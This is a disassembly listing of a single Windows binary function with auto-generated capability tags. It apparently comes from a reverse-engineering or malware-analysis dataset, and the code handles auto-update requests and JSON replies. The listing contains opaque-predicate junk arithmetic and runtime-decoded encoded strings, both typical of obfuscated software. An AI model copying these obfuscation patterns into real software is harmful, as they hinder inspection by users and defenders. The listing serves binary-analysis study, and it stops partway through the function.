Function at 0x418a60
Capabilities:
Get common file path
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e81fa
mov eax, dword fs:[0]
push eax
sub esp, 0x38c
mov eax, dword [0x555ab0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov dword [ebp - 0x360], ebx
mov ecx, dword [ebx + 0x78]
mov dword [ebp - 0x380], ebx
cmp dword [ecx - 0xc], 0
jne 0x418c03
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x34c], eax
mov eax, str.No_auto_update_ur1
mov dword [ebp - 4], 0
test eax, 0xffff0000
jne 0x418af2
movzx esi, ax
mov ecx, esi
call fcn.00401970
test eax, eax
je 0x418b02
push esi
push eax
lea ecx, [ebp - 0x34c]
call fcn.00402420
jmp 0x418b02
push str.No_auto_update_ur1
lea ecx, [ebp - 0x34c]
call fcn.004047f0
push 0x52f8d4
lea ecx, [ebp - 0x350]
mov dword [ebp - 4], 1
call fcn.00402020
mov byte [ebp - 4], 2
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x338], esi
lea eax, [ebp - 0x34c]
push eax
lea edx, [ebp - 0x338]
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 3
call fcn.00421a70
add esp, 4
mov byte [ebp - 4], 4
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x418b70
push 0
push eax
lea eax, [ebp - 0x350]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00402570
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x334]
add edx, 0xfffffff0
or ebx, 0xffffffff
lea ecx, [edx + 0xc]
mov eax, ebx
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x418b96
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 2
lea eax, [esi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x418bb3
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x350]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x418bd6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x34c]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ebx
dec ebx
test ebx, ebx
jg 0x41a1c3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x41a1c3
add ecx, 0xfffffff0
call fcn.004022e0
add eax, 0x10
mov dword [ebp - 0x370], eax
mov dword [ebp - 4], 5
mov esi, dword [0x55e860]
lea ecx, [esi + 1]
lea eax, [esi + 2]
imul eax, ecx
imul eax, esi
cdq
mov ecx, 0x18
idiv ecx
cmp edx, 9
jne 0x418c9e
test esi, esi
je 0x418c9e
mov edi, edi
mov ecx, esi
and ecx, 0x80000001
jns 0x418c4f
dec ecx
or ecx, 0xfffffffe
inc ecx
jne 0x418c5c
mov eax, esi
cdq
sub eax, edx
mov esi, eax
sar esi, 1
jmp 0x418c63
lea esi, [esi*2 + 1]
mov eax, 0x55555556
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, esi
lea eax, [eax + eax*2]
sub ecx, eax
mov dword [0x55e860], esi
sub ecx, 0
je 0x418c8d
sub ecx, 2
je 0x418c90
dec ecx
je 0x418c91
jmp 0x418c9a
add esi, 2
inc esi
add esi, 2
mov dword [0x55e860], esi
test esi, esi
jne 0x418c40
push dword [ebx + 0x4c]
push ecx
mov ecx, esp
push str.e5dddfd3cec1d7dae3
call fcn.00402020
lea ecx, [ebp - 0x338]
call fcn.00428e50
add esp, 4
mov byte [ebp - 4], 6
push dword [eax]
lea ecx, [ebp - 0x370]
call fcn.004043a0
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x338]
add edx, 0xfffffff0
or ebx, 0xffffffff
lea ecx, [edx + 0xc]
mov eax, ebx
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x418cf3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [0x55e860]
mov eax, esi
imul eax, esi
cdq
mov ecx, 0x16
idiv ecx
cmp edx, 0x15
jne 0x418d69
mov eax, 0x4bda12f7
imul esi
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0xd8
mov eax, esi
sub eax, ecx
xor edi, edi
cmp eax, 0xe1
je 0x418d63
nop
mov eax, esi
or eax, 0xffffffcb
add esi, eax
mov eax, esi
imul eax, esi
inc edi
cmp edi, eax
jg 0x418d63
mov eax, 0x4bda12f7
imul esi
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0xd8
mov eax, esi
sub eax, ecx
cmp eax, 0xe1
jne 0x418d30
mov dword [0x55e860], edi
lea ecx, [ebp - 0x350]
call fcn.00426eb0
mov esi, eax
push 0x52f92c
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], 7
call fcn.00402020
push 0x52f924
mov edx, eax
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 8
call fcn.0041c9c0
add esp, 4
push esi
mov edx, eax
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 9
call fcn.004045e0
add esp, 4
mov byte [ebp - 4], 0xa
mov eax, dword [eax]
lea ecx, [ebp - 0x370]
push dword [eax - 0xc]
push eax
call fcn.00411e80
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x338]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x418df0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x334]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x418e13
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x33c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x418e36
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x350]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x418e59
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x36c], eax
lea eax, [ebp - 0x36c]
push eax
lea edx, [ebp - 0x370]
lea ecx, [ebp - 0x364]
mov byte [ebp - 4], 0xb
call fcn.0042e1f0
add esp, 4
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0xc
call fcn.00429500
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
test eax, eax
jne 0x418eb4
push 0x80004005
call fcn.00401840
mov eax, dword [ebp - 0x364]
lea ebx, [ebx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x418ee6
test dx, dx
je 0x418ee2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x418ee6
add eax, 4
add ecx, 4
test dx, dx
jne 0x418ec0
xor eax, eax
jmp 0x418eeb
sbb eax, eax
or eax, 1
mov edx, dword [ebp - 0x338]
test eax, eax
sete byte [ebp - 0x375]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x418f13
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp byte [ebp - 0x375], 0
lea ecx, [ebp - 0x34c]
je 0x4192e3
push str.error_HttpRequest:
call fcn.00404310
push 0x52f948
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0xd
call fcn.00402020
mov byte [ebp - 4], 0xe
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x338], edi
mov byte [ebp - 4], 0xf
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x334], esi
lea eax, [ebp - 0x338]
push eax
lea edx, [ebp - 0x334]
lea ecx, [ebp - 0x37c]
mov byte [ebp - 4], 0x10
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x34c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x374]
mov byte [ebp - 4], 0x11
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x36c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x35c]
mov byte [ebp - 4], 0x12
call fcn.00421a70
add esp, 4
mov dword [ebp - 0x33c], eax
mov ecx, dword [ebp - 0x360]
mov byte [ebp - 4], 0x13
mov ecx, dword [ecx + 4]
push eax
call fcn.004020f0
mov eax, dword [ebp - 0x360]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x41900b
push 2
push dword [ebp - 0x33c]
lea edx, [ebp - 0x350]
push edx
add eax, 8
push eax
call fcn.00402570
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x35c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41902e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x374]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419051
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x37c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419074
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0xf
lea eax, [esi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419091
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov byte [ebp - 4], 0xe
lea eax, [edi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4190ae
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x350]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4190d1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x34c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4190f4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [0x55e860]
lea ecx, [edx + 1]
lea eax, [edx + 2]
imul eax, ecx
imul eax, edx
cdq
mov ecx, 0x14
idiv ecx
cmp edx, 2
jne 0x419189
mov ebx, dword [0x55e860]
mov eax, ebx
cdq
lea esi, [ecx + 0x37]
xor ecx, ecx
sub eax, edx
sar eax, 1
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x34c], eax
test eax, eax
jle 0x41917b
mov eax, ebx
cdq
and edx, 3
lea edi, [edx + eax]
mov eax, dword [ebp - 0x34c]
sar edi, 2
xor edx, edx
mov dword [ebp - 0x350], eax
nop
test edi, edi
jle 0x41916a
mov eax, edx
mov ecx, edi
add esi, eax
dec eax
dec ecx
jne 0x419158
mov eax, dword [ebp - 0x350]
mov ecx, dword [ebp - 0x35c]
add edx, ecx
dec eax
mov dword [ebp - 0x350], eax
jne 0x419150
mov eax, dword [ebp - 0x34c]
inc ecx
mov dword [ebp - 0x35c], ecx
cmp ecx, esi
jl 0x419131
or ebx, 0xffffffff
lea eax, [ebp - 0x36c]
push eax
push ecx
mov ecx, esp
push str.ddf6fbfdf5dfebeaf1cbeefaffeafbcbecf2c1d6eaeaeeccfbefebfbedeac1
call fcn.00402020
lea ecx, [ebp - 0x350]
call fcn.00428e50
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x14
mov edx, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x338], esi
push edi
lea edx, [ebp - 0x338]
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], 0x15
call fcn.00421a70
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0x16
call fcn.00421a70
add esp, 4
mov ecx, dword [ebp - 0x360]
push eax
mov byte [ebp - 4], 0x17
call fcn.00417160
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x334]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419228
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x33c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41924b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0x14
lea eax, [esi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419268
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x350]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41928b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x364]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4192ae
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x36c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4192d1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x370]
jmp 0x418be3
mov eax, dword [ebp - 0x364]
cmp dword [eax - 0xc], 0
jne 0x419533
push str.error_strJson_empty
call fcn.00404310
push 0x52fa04
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0x18
call fcn.00402020
mov byte [ebp - 4], 0x19
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x338], edi
mov byte [ebp - 4], 0x1a
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x334], esi
lea eax, [ebp - 0x338]
push eax
lea edx, [ebp - 0x334]
lea ecx, [ebp - 0x374]
mov byte [ebp - 4], 0x1b
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x34c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x35c]
mov byte [ebp - 4], 0x1c
call fcn.00421a70
add esp, 4
mov dword [ebp - 0x33c], eax
mov ecx, dword [ebp - 0x360]
mov byte [ebp - 4], 0x1d
mov ecx, dword [ecx + 4]
push eax
call fcn.004020f0
mov eax, dword [ebp - 0x360]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x4193bd
push 2
push dword [ebp - 0x33c]
lea edx, [ebp - 0x350]
push edx
add eax, 8
push eax
call fcn.00402570
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x35c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4193e0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x374]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419403
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0x1a
lea eax, [esi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419420
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov byte [ebp - 4], 0x19
lea eax, [edi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41943d
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x350]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419460
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x34c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419483
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov ecx, esp
push str.ddf6fbfdf5dfebeaf1cbeefaffeafbcbecf2c1edeaecd4edf1f0c1fbf3eeeae7
call fcn.00402020
lea ecx, [ebp - 0x33c]
call fcn.00428e50
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x1e
mov edx, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x338], esi
push edi
lea edx, [ebp - 0x338]
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], 0x1f
call fcn.00421a70
add esp, 4
mov ecx, dword [ebp - 0x360]
push eax
mov byte [ebp - 4], 0x20
call fcn.00417160
mov byte [ebp - 4], 0x1f
mov edx, dword [ebp - 0x334]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419507
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0x1e
lea eax, [esi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419524
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x33c]
jmp 0x419272
push str.strJson:
call fcn.00404310
push 0x52fabc
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0x21
call fcn.00402020
mov byte [ebp - 4], 0x22
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x338], edi
mov byte [ebp - 4], 0x23
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x334], esi
lea eax, [ebp - 0x338]
push eax
lea edx, [ebp - 0x334]
lea ecx, [ebp - 0x374]
mov byte [ebp - 4], 0x24
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x34c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x35c]
mov byte [ebp - 4], 0x25
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x364]
push ecx
mov edx, eax
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], 0x26
call fcn.00421a70
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x360]
mov byte [ebp - 4], 0x27
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x419600
push 0
push edx
lea edx, [ebp - 0x350]
push edx
add eax, 8
push eax
call fcn.00402570
mov byte [ebp - 4], 0x26
mov edx, dword [ebp - 0x33c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419623
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x25
mov edx, dword [ebp - 0x35c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419646
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x24
mov edx, dword [ebp - 0x374]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419669
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0x23
lea eax, [esi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419686
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov byte [ebp - 4], 0x22
lea eax, [edi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4196a3
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x21
mov edx, dword [ebp - 0x350]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4196c6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x34c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4196e9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x28
mov esi, dword [0x55e860]
lea ecx, [esi + 1]
lea eax, [esi + 2]
imul eax, ecx
imul eax, esi
cdq
mov ecx, 0x16
idiv ecx
cmp edx, 8
jne 0x419750
xor ecx, ecx
mov edi, edi
mov eax, dword [ebp + ecx*4 - 0x184]
add eax, dword [ebp + ecx*4 - 0x188]
add ecx, 6
add eax, dword [ebp + ecx*4 - 0x1a4]
add eax, dword [ebp + ecx*4 - 0x1a8]
add eax, dword [ebp + ecx*4 - 0x1ac]
add eax, dword [ebp + ecx*4 - 0x1b0]
imul eax, eax, 0x15
add esi, eax
mov dword [0x55e860], esi
cmp ecx, 0x180
jb 0x419710
push 3
push dword [ebp - 0x364]
lea eax, [ebp - 0x32c]
lea ecx, [ebp - 0x330]
mov dword [ebp - 0x330], eax
call fcn.0041cf30
mov byte [ebp - 4], 0x29
mov edx, dword [ebp - 0x330]
mov dword [ebp - 0x224], 0xf
mov dword [ebp - 0x228], 0
mov byte [ebp - 0x238], 0
cmp byte [edx], 0
jne 0x41979d
xor ecx, ecx
jmp 0x4197ab
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4197a2
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x238]
call fcn.00401300
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 0x2a
call fcn.00434db0
and dword [ebp - 0x390], 0xfffffe00
mov dword [ebp - 0x38c], 0
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x280]
mov byte [ebp - 4], 0x2d
call fcn.00401430
cmp dword [ebp - 0x26c], 0x10
mov eax, dword [ebp - 0x270]
lea ecx, [ebp - 0x280]
cmovae ecx, dword [ebp - 0x280]
push ecx
lea edx, [ebp - 0x398]
add eax, ecx
push edx
push eax
push ecx
lea ecx, [ebp - 0x2a8]
call fcn.00434ec0
lea ecx, [ebp - 0x334]
test al, al
jne 0x419b4a
push str.error_parse
call fcn.00404310
push 0x52faf0
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], 0x2e
call fcn.00402020
mov byte [ebp - 4], 0x2f
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x338], edi
mov byte [ebp - 4], 0x30
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x384], esi
lea eax, [ebp - 0x338]
push eax
lea edx, [ebp - 0x384]
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 0x31
call fcn.00421a70
add esp, 4
lea ecx, [ebp - 0x334]
push ecx
mov edx, eax
lea ecx, [ebp - 0x354]
mov byte [ebp - 4], 0x32
call fcn.00421a70
add esp, 4
mov dword [ebp - 0x368], eax
mov ecx, dword [ebp - 0x360]
mov byte [ebp - 4], 0x33
mov ecx, dword [ecx + 4]
push eax
call fcn.004020f0
mov eax, dword [ebp - 0x360]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x4198fe
push 2
push dword [ebp - 0x368]
lea edx, [ebp - 0x33c]
push edx
add eax, 8
push eax
call fcn.00402570
mov byte [ebp - 4], 0x32
mov edx, dword [ebp - 0x354]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419921
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x31
mov edx, dword [ebp - 0x340]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419944
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0x30
lea eax, [esi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419961
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov byte [ebp - 4], 0x2f
lea eax, [edi + 0xc]
mov ecx, ebx
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41997e
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x2e
mov edx, dword [ebp - 0x33c]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4199a1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x2d
mov edx, dword [ebp - 0x334]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4199c4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [0x55e860]
mov ecx, 0xb
lea eax, [esi + 1]
imul eax, esi
cdq
idiv ecx
cmp edx, 7
jne 0x419a18
mov eax, 0x51eb851f
imul esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0x64
sub esi, ecx
xor ecx, ecx
lea eax, [esi + 0x7b]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004aeef0
add esp, 4
push eax
call fcn.004b08fb
add esp, 4
push ecx
mov ecx, esp
push str.ddf6fbfdf5dfebeaf1cbeefaffeafbcbecf2c1eeffecedfbc1fbececf1ec
call fcn.00402020
lea ecx, [ebp - 0x368]
call fcn.00428e50
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x34
mov edx, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x340], esi
push edi
lea edx, [ebp - 0x340]
lea ecx, [ebp - 0x354]
mov byte [ebp - 4], 0x35
call fcn.00421a70
add esp, 4
mov ecx, dword [ebp - 0x360]
push eax
mov byte [ebp - 4], 0x36
call fcn.00417160
mov byte [ebp - 4], 0x35
mov edx, dword [ebp - 0x354]
add edx, 0xfffffff0
mov ecx, ebx
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x419a9c
